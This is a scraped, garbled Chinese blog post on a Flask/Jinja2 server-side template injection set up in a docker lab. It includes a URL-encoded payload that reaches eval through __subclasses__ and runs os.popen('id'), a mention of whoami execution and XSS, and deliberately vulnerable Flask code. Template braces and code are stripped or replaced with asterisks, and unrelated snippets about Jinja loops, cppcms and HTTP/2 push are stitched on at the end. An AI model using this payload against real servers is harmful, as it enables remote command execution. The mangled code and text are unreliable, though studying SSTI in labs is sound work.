Flask(Jinja2) 服務端模板注入漏洞

2022-07-06 14:24:11 字數 3259 閱讀 3737

1.漏洞編號:

2.影響版本:

3.漏洞產生原因:

先進入容器看一下web服務的**

啟動環境:docker-compose up -d

vulnip:192.168.1.182

環境啟動後,訪問`http://your-ip:8080`即可看到flask預設首頁。

完全可控,那麼就可以直接寫入

jinja2

的模板語言。

`http://your-ip/?name=}`,得到

54289

,說明ssti

漏洞存在。

關注flask的版本

在url後面增加

會觸發乙個

xss漏洞。

直接從globals中尋找eval

獲取eval函式並執行任意

python

**的poc

.__class__ %}

}

訪問`http://your-ip:8000/?name=%7b%25%20for%20c%20in%20%5b%5d.__class__.__base__.__subclasses__()%20%25%7d%0a%7b%25%20if%20c.__name__%20%3d%3d%20%27catch_warnings%27%20%25%7d%0a%20%20%7b%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7d%0a%20%20%7b%25%20if%20b.__class__%20%3d%3d%20%7b%7d.__class__%20%25%7d%0a%20%20%20%20%7b%25%20if%20%27eval%27%20in%20b.keys()%20%25%7d%0a%20%20%20%20%20%20%7b%7b%20b%5b%27eval%27%5d(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7d%7d%0a%20%20%20%20%7b%25%20endif%20%25%7d%0a%20%20%7b%25%20endif%20%25%7d%0a%20%20%7b%25%20endfor%20%25%7d%0a%7b%25%20endif%20%25%7d%0a%7b%25%20endfor%20%25%7d`,得到執行結果:

尋找__builtins__得到eval

用jinja的語法即為(執行命令使用

os.popen('whoami').read()

才有執行結果的回顯)

}

from

flask import flask, request

from

jinja2 import template

"/safe")

def safe():

name = request.args.get('

name

', '

guest')

t = template("

hello }")

return t.render(n=name)

if __name__ == "

__main__

":

flaskflask 是乙個 web 框架。也就是說 flask 為你提供工具,庫和技術來允許你構建乙個 web 應用程式。這個 wdb 應用程式可以使一些 web 頁面、部落格、wiki、基於 web 的日曆應用或商業**。

flask 屬於微框架(micro-framework)這一類別,微架構通常是很小的不依賴於外部庫的框架。這既有優點也有缺點,優點是框架很輕量,更新時依賴少,並且專注安全方面的 bug,缺點是,你不得不自己做更多的工作,或通過新增外掛程式增加自己的依賴列表。flask 的依賴如下:

flask簡單易學,下面是flask版的hello world(hello.py):

from

flask import flask"/

")def hello():

return

"hello world!

"if __name__ == "

__main__

":

jinja 2

# 取值

}#}```

demo

```from

jinja2 import template

t=template('}'

)print t.render()

2021-02-19 22:10:04

Flask jinja2模板for迴圈

在jinja2中的for迴圈,跟python中的for迴圈基本上是一模一樣的。也是for.in.的形式。並且也可以遍歷所有的序列以及迭代器。但是唯一不同的是,jinja2中的for迴圈沒有break和continue語句。並且jinja2中的for迴圈還包含以下變數,可以用來獲取當前的遍歷狀態 變數...

HTTP服務端JSON服務端

最後更新日期 2014 5 18 author kagula 內容簡介 cppcms是個開源web開發框架,通過它可以很容易實現http服務和json服務,這裡介紹cppcms開發環境的搭建。寫乙個cppcms測試程式,它建立http服務,向瀏覽器返回hello,world頁面。cppcms依賴的一...

HTTP 2服務端推送

翻譯 shihuaping0918 163.com 譯者注 本文需要有一定的http協議知識和瀏覽器解析頁面過程知識 原文 前言 http 2被設計為解決http 1.x的許多缺陷。當代網頁使用了許多資源 html 樣式表 指令碼 等等。在http 1.x中這些資源每乙個都必須明確地請求。這可能是乙...